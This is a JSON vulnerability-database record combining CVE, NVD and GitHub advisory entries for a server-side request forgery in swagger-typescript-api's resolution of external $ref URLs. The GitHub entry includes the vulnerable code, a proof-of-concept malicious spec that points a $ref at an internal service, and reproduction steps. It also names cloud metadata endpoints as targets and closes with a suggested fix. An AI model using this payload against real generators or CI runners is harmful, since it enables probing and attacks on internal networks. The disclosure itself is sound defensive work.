{"id":"GHSA-x36r-4347-pm5x","revision":null,"records":[{"revision":"8d320072399042a9939dde9a58243b05","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-54663","aliases":[],"title":"swagger-typescript-api vulnerable to Server-Side Request Forgery via spec `$ref`","description":"swagger-typescript-api generates API clients for Fetch or Axios from OpenAPI specifications. Prior to 13.12.2, src/resolved-swagger-schema.ts warmUpRemoteSchemasCache resolves external $ref URLs and fetchRemoteSchemaDocument uses isHttpUrl to fetch any http or https target without private IP, redirect, DNS rebinding, or same-origin validation, allowing an attacker-controlled OpenAPI spec to make the generator issue requests to internal or link-local services. This issue is fixed in version 13.12.2.","state":0,"publishedAt":"2026-07-29T14:28:33.36+00:00","modifiedAt":"2026-07-29T14:58:32.75+00:00","affected":[{"ecosystem":"Vendor product","name":"swagger-typescript-api","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"acacode\",\n                    \"product\": \"swagger-typescript-api\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 13.12.2\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","score":6.1,"severity":"MEDIUM"}],"references":["https://github.com/acacode/swagger-typescript-api/security/advisories/GHSA-x36r-4347-pm5x","https://github.com/acacode/swagger-typescript-api/pull/1779","https://github.com/acacode/swagger-typescript-api/commit/306d59acb8ffbb00f953f807b97234b21f51d9de","https://github.com/acacode/swagger-typescript-api/releases/tag/v13.12.2"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-54663","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-54663","identifiers":["CVE-2026-54663"]},"retained":false,"historicalAffected":[]},{"revision":"83712e8741f24b75b4c0ad11b4892164","observedAt":"2026-10-25T13:17:28.253+00:00","statement":{"source":"nvd","id":"CVE-2026-54663","aliases":[],"title":"swagger-typescript-api generates API clients for Fetch or Axios from OpenAPI specifications. Prior to 13.12.2, src/resolved-swagger-schema.ts warmUpRemoteSchemasCache resolves external $ref URLs and fetchRemoteSchemaDocument uses isHttpUrl …","description":"swagger-typescript-api generates API clients for Fetch or Axios from OpenAPI specifications. Prior to 13.12.2, src/resolved-swagger-schema.ts warmUpRemoteSchemasCache resolves external $ref URLs and fetchRemoteSchemaDocument uses isHttpUrl to fetch any http or https target without private IP, redirect, DNS rebinding, or same-origin validation, allowing an attacker-controlled OpenAPI spec to make the generator issue requests to internal or link-local services. This issue is fixed in version 13.12.2.","state":0,"publishedAt":"2026-07-29T15:16:25.713+00:00","modifiedAt":"2026-10-23T23:10:00.157+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","score":6.1,"severity":"MEDIUM"}],"references":["https://github.com/acacode/swagger-typescript-api/commit/306d59acb8ffbb00f953f807b97234b21f51d9de","https://github.com/acacode/swagger-typescript-api/pull/1779","https://github.com/acacode/swagger-typescript-api/releases/tag/v13.12.2","https://github.com/acacode/swagger-typescript-api/security/advisories/GHSA-x36r-4347-pm5x"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-54663","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-20","CWE-441","CWE-918"],"productCriteria":[],"sourceDates":{"published":"2026-07-29T15:16:25.713","lastModified":"2026-10-23T23:10:00.157"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-54663","identifiers":["CVE-2026-54663"]},"retained":false,"historicalAffected":[]},{"revision":"619843c071e74be79cba4d42de60a889","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-x36r-4347-pm5x","aliases":["CVE-2026-54663"],"title":"swagger-typescript-api vulnerable to Server-Side Request Forgery via spec `$ref`","description":"### Summary\n\n`swagger-typescript-api` walks every `$ref` value in the input OpenAPI spec and, for any `$ref` whose target is an `http(s)://` URL, issues an HTTP GET to that URL during generation (`warmUpRemoteSchemasCache`). The only URL filter is a regex that matches `^https?://` — there is **no private-IP allowlist, no DNS-rebinding protection, no redirect cap, and no same-origin check against the spec source**. A malicious OpenAPI spec can therefore force the generator process to issue HTTP requests to arbitrary hosts and paths reachable from the generator's network, including `127.0.0.1`, RFC-1918 ranges, internal hostnames, and the cloud instance-metadata endpoint at `169.254.169.254`.\n\nThe attacker model is identical to the previously reported code-injection findings: a developer or CI pipeline that runs `swagger-typescript-api generate` against an attacker-controlled spec (remote URL, third-party / public OpenAPI registry, multi-tenant tenant input, or a spec file modified via PR).\n\n### Details\n\n`SwaggerSchemaResolver.fetchSwaggerSchemaFile` (`src/swagger-schema-resolver.ts:122`) loads the entry-point spec. After it parses, `ResolvedSwaggerSchema` (`src/resolved-swagger-schema.ts`) calls `warmUpRemoteSchemasCache` which does a BFS over every external `$ref`:\n\n```ts\n// src/resolved-swagger-schema.ts:399-445\nprivate async warmUpRemoteSchemasCache() {\n  if (typeof this.config.url !== \"string\" || !this.isHttpUrl(this.config.url)) {\n    return;\n  }\n  const visited = new Set<string>();\n  const queue = [this.stripHash(this.config.url)];\n\n  while (queue.length > 0) {\n    const currentUrl = queue.shift();\n    if (!currentUrl || visited.has(currentUrl)) continue;\n    visited.add(currentUrl);\n\n    if (this.externalSchemaCache.has(currentUrl)) continue;\n    const schema = await this.fetchRemoteSchemaDocument(currentUrl);   // <-- HTTP GET\n    if (!schema) continue;\n    this.externalSchemaCache.set(currentUrl, schema);\n\n    for (const ref of this.extractRefsFromSchema(schema)) {\n      const normalizedRef = this.normalizeRef(ref);\n      if (normalizedRef.startsWith(\"#\")) continue;\n\n      const [externalPath = \"\"] = normalizedRef.split(\"#\");\n      if (!externalPath) continue;\n\n      const absoluteUrl = this.resolveAbsoluteUrl(externalPath, currentUrl);\n      if (absoluteUrl && !visited.has(absoluteUrl)) {\n        queue.push(absoluteUrl);                                       // <-- recurse\n      }\n    }\n  }\n}\n```\n\nThe fetch itself:\n\n```ts\n// src/resolved-swagger-schema.ts:374\nconst response = await fetch(url, {\n  headers: this.getRemoteRequestHeaders(),\n});\n```\n\n…and the only URL-shape filter:\n\n```ts\n// src/resolved-swagger-schema.ts:75-78\nprivate isHttpUrl(value: string): boolean {\n  return /^https?:\\/\\//i.test(value);\n}\n```\n\nThere is no IP allowlist (no rejection of `127.x`, `10.x`, `172.16-31.x`, `192.168.x`, `169.254.x`, IPv6 `::1` / fc00::/7, etc.), no DNS-rebinding mitigation (the URL is passed straight to Node's built-in `fetch`, which itself follows up to 20 redirects by default), and no check that the new URL shares an origin with the spec source. Any `$ref` value that survives `isHttpUrl` is fetched.\n\nBecause `fetch` is Node's undici-backed implementation, an external 302 redirect from an attacker's spec server to an internal URL ALSO succeeds — even if the maintainer later adds a private-IP filter to the spec string itself, redirect-based SSRF would still work without additional mitigation in the fetch options (`redirect: \"manual\"` or a custom dispatcher with a same-host check).\n\n### PoC\n\nSelf-contained reproducer in comments (install `swagger-typescript-api@13.12.1` into a local `node_modules`, spin up two loopback HTTP servers — one serving the spec, one pretending to be an \"internal\" service — run the generator against each, observe the internal server's hit count). Tested on `swagger-typescript-api@13.12.1` and Node `v24.11.1`.\n\n**Payload spec** (served from `http://127.0.0.1:<spec-port>/spec.json`):\n\n```json\n{\n  \"openapi\": \"3.0.0\",\n  \"info\": { \"title\": \"SSRF-payload\", \"version\": \"1.0.0\" },\n  \"paths\": {\n    \"/p\": {\n      \"get\": {\n        \"operationId\": \"p\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"OK\",\n            \"content\": {\n              \"application/json\": {\n                \"schema\": {\n                  \"$ref\": \"http://127.0.0.1:<internal-port>/INTERNAL_ONLY_PATH/secret.json\"\n                }\n              }\n            }\n          }\n        }\n      }\n    }\n  }\n}\n```\n\n**Steps:**\n\n```bash\n# 1. Start a loopback \"internal\" HTTP server that should not be reachable from a public spec.\n# 2. Start a loopback \"spec\" HTTP server that serves the payload spec above.\n# 3. Point the generator at the spec server.\nnpm install swagger-typescript-api@13.12.1\nnode -e \"import('swagger-typescript-api').then(m => m.generateApi({\n  output: '/tmp/out',\n  url: 'http://127.0.0.1:<spec-port>/spec.json',\n  httpClientType: 'fetch'\n}))\"\n```\n\n**Observed (control vs payload):**\n\n```\n[control] (no external $ref in spec) → internal-server hits: 0\n[payload] ($ref → http://127.0.0.1:<internal-port>/...) → internal-server hits: 1\n  hit: /INTERNAL_ONLY_PATH/secret.json  host=127.0.0.1:<internal-port>\n```\n\nThe internal server received a `GET /INTERNAL_ONLY_PATH/secret.json` issued by the generator's `warmUpRemoteSchemasCache` while the developer was running `swagger-typescript-api generate`. The loopback target in the PoC stands in for any host reachable from the generator process — typical real-world targets include `169.254.169.254` (cloud IMDS), internal admin panels, intranet web apps, and corporate-VPN-only services.\n\n### Impact\n\n**Type:** Server-Side Request Forgery (CWE-918) via unrestricted external-reference resolution in a code-generation tool.\n\n**Affected use cases:**\n\n- A developer running `sta generate --url https://attacker.example/openapi.json` against an attacker-hosted spec.\n- A developer running the generator against any third-party or public OpenAPI spec they did not author (cached APIs on public schema registries, vendor / partner specs).\n- A CI/CD pipeline regenerating clients from a spec on every build.\n- A multi-tenant SaaS that generates per-tenant clients from tenant-supplied specs.\n- Any project where a contributor can modify the pinned spec via a pull request.\n\n**What an attacker can do with this:**\n\n- Probe the generator's network reachability — enumerate which RFC-1918 hosts and internal services are alive based on timing and error states.\n- Hit cloud-provider instance metadata endpoints (`http://169.254.169.254/...`) on cloud-hosted CI runners. Even though the response body is not directly returned to the attacker, side effects (rate-limit, timing, error code reflected in logs) leak information.\n- Trigger side effects in internal services that have GET-mutating endpoints (rare but real).\n- Combine with the companion finding (Authorization-token forwarding to `$ref` URLs — filed separately) to escalate this from blind SSRF into direct credential exfiltration.\n\n**Lifecycle:** generation-time. The fetch happens when the developer or CI pipeline runs `swagger-typescript-api generate`, not when the generated client is later imported.\n\n**Suggested fix:**\n\nDefense in depth at three layers, in priority order:\n\n1. **Reject private / link-local / loopback addresses at the URL-validation layer.** Resolve the URL's hostname, check the resulting IP against IPv4 ranges `127.0.0.0/8`, `10.0.0.0/8`, `172.16.0.0/12`, `192.168.0.0/16`, `169.254.0.0/16`, `0.0.0.0/8`, and IPv6 equivalents (`::1`, `fc00::/7`, `fe80::/10`, `::ffff:0:0/96`). Re-resolve on every redirect to defeat DNS rebinding.\n2. **Use a custom undici dispatcher with `connect` hook that re-checks the resolved IP at TCP-connect time** — the only reliable way to defeat DNS rebinding in Node's built-in `fetch`.\n3. **Set `redirect: \"manual\"` in the `fetch` options** and validate each redirect URL through the same allowlist before following it.\n\nIf full SSRF mitigation is too invasive for a code-generation tool, at minimum surface the threat: log every external URL the generator is about to fetch (so a developer can `grep` for unexpected hosts in the output) and add an opt-out flag like `--no-external-refs` that disables `warmUpRemoteSchemasCache` entirely.\n\nSubmitted by: Hamza Haroon (thegr1ffyn)","state":0,"publishedAt":"2026-07-29T14:28:58+00:00","modifiedAt":"2026-07-29T14:56:42.732314+00:00","affected":[{"ecosystem":"npm","name":"swagger-typescript-api","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"13.12.2"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"MODERATE"}],"references":["https://github.com/acacode/swagger-typescript-api/security/advisories/GHSA-x36r-4347-pm5x","https://github.com/acacode/swagger-typescript-api/pull/1779","https://github.com/acacode/swagger-typescript-api/commit/306d59acb8ffbb00f953f807b97234b21f51d9de","https://github.com/acacode/swagger-typescript-api","https://github.com/acacode/swagger-typescript-api/releases/tag/v13.12.2"],"sourceUrl":"https://github.com/advisories/GHSA-x36r-4347-pm5x","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-x36r-4347-pm5x","identifiers":["GHSA-x36r-4347-pm5x","CVE-2026-54663"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-10-26T11:13:09.4007372+00:00","complete":true,"records":1756,"lastAttemptAt":"2026-10-26T11:13:09.4007372+00:00","lastSuccessAt":"2026-10-26T11:13:09.5751909+00:00","error":null,"lastVerifiedAt":"2026-10-26T11:13:09.5751943+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-5ba1945314e042c2ced14b33f3680fa71692812d925544312b218f5eb8a26e71-f372ad4ebad95d0372251a2b800e134bcac5b2473e19479f542e5c01536704c4","complete":true,"records":414140,"lastAttemptAt":"2026-10-26T11:13:08.2100525+00:00","lastSuccessAt":"2026-10-26T11:13:08.1783835+00:00","error":null,"lastVerifiedAt":"2026-10-26T11:13:08.2100525+00:00","snapshotPublishedAt":"2026-10-26T10:23:49+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-43321610382942b8ad8c85917eab1546","complete":false,"records":4735,"lastAttemptAt":"2026-10-26T11:13:12.1268098+00:00","lastSuccessAt":"2026-10-24T23:18:49.862+00:00","error":"InvalidDataException","lastVerifiedAt":"2026-10-24T23:18:49.862+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":4764,"expectedIdentifiers":13474},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-10-26T11:13:09.4007372+00:00","complete":true,"records":1093,"lastAttemptAt":"2026-10-26T11:13:09.4007372+00:00","lastSuccessAt":"2026-10-26T11:13:09.5760274+00:00","error":null,"lastVerifiedAt":"2026-10-26T11:13:09.5760278+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-204a3fb93a00487e8f7f36db01dc851d","complete":true,"records":13413,"lastAttemptAt":"2026-10-26T11:13:10.0887317+00:00","lastSuccessAt":"2026-10-25T16:19:28.681+00:00","error":null,"lastVerifiedAt":"2026-10-25T16:19:28.681+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13474,"expectedIdentifiers":13474},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-2375a4e597279abf92e8747e140fe8da9d421877cd49cae3ac69a2cb78469b2c","complete":true,"records":9779,"lastAttemptAt":"2026-10-26T11:13:09.2366743+00:00","lastSuccessAt":"2026-10-24T13:19:53.1346702+00:00","error":null,"lastVerifiedAt":"2026-10-26T11:13:09.2366743+00:00","snapshotPublishedAt":"2026-10-24T03:03:12+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-16ad89dfea13ab9e9b0108e63a759d63bd4559cc68b58491107d62ee35bbbaf2","complete":true,"records":1965,"lastAttemptAt":"2026-10-26T11:13:08.7373454+00:00","lastSuccessAt":"2026-10-23T16:01:26.4487605+00:00","error":null,"lastVerifiedAt":"2026-10-26T11:13:08.7373454+00:00","snapshotPublishedAt":"2026-10-21T12:18:07+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-7da67a15aa6e56a0e3081a7646dc74d537e6ef974afc593c2b1794ed01970648","complete":true,"records":2969,"lastAttemptAt":"2026-10-26T11:13:09.3558968+00:00","lastSuccessAt":"2026-10-24T13:19:59.1145547+00:00","error":null,"lastVerifiedAt":"2026-10-26T11:13:09.3558968+00:00","snapshotPublishedAt":"2026-10-24T08:47:51+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-654e90fb44abcd729ddecf56d54c1b46ce87ca3181850e8bc65d5c8befceb659","complete":true,"records":230805,"lastAttemptAt":"2026-10-26T11:13:08.8456799+00:00","lastSuccessAt":"2026-10-26T08:22:30.1390577+00:00","error":null,"lastVerifiedAt":"2026-10-26T11:13:08.8456799+00:00","snapshotPublishedAt":"2026-10-26T07:48:28+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null}]}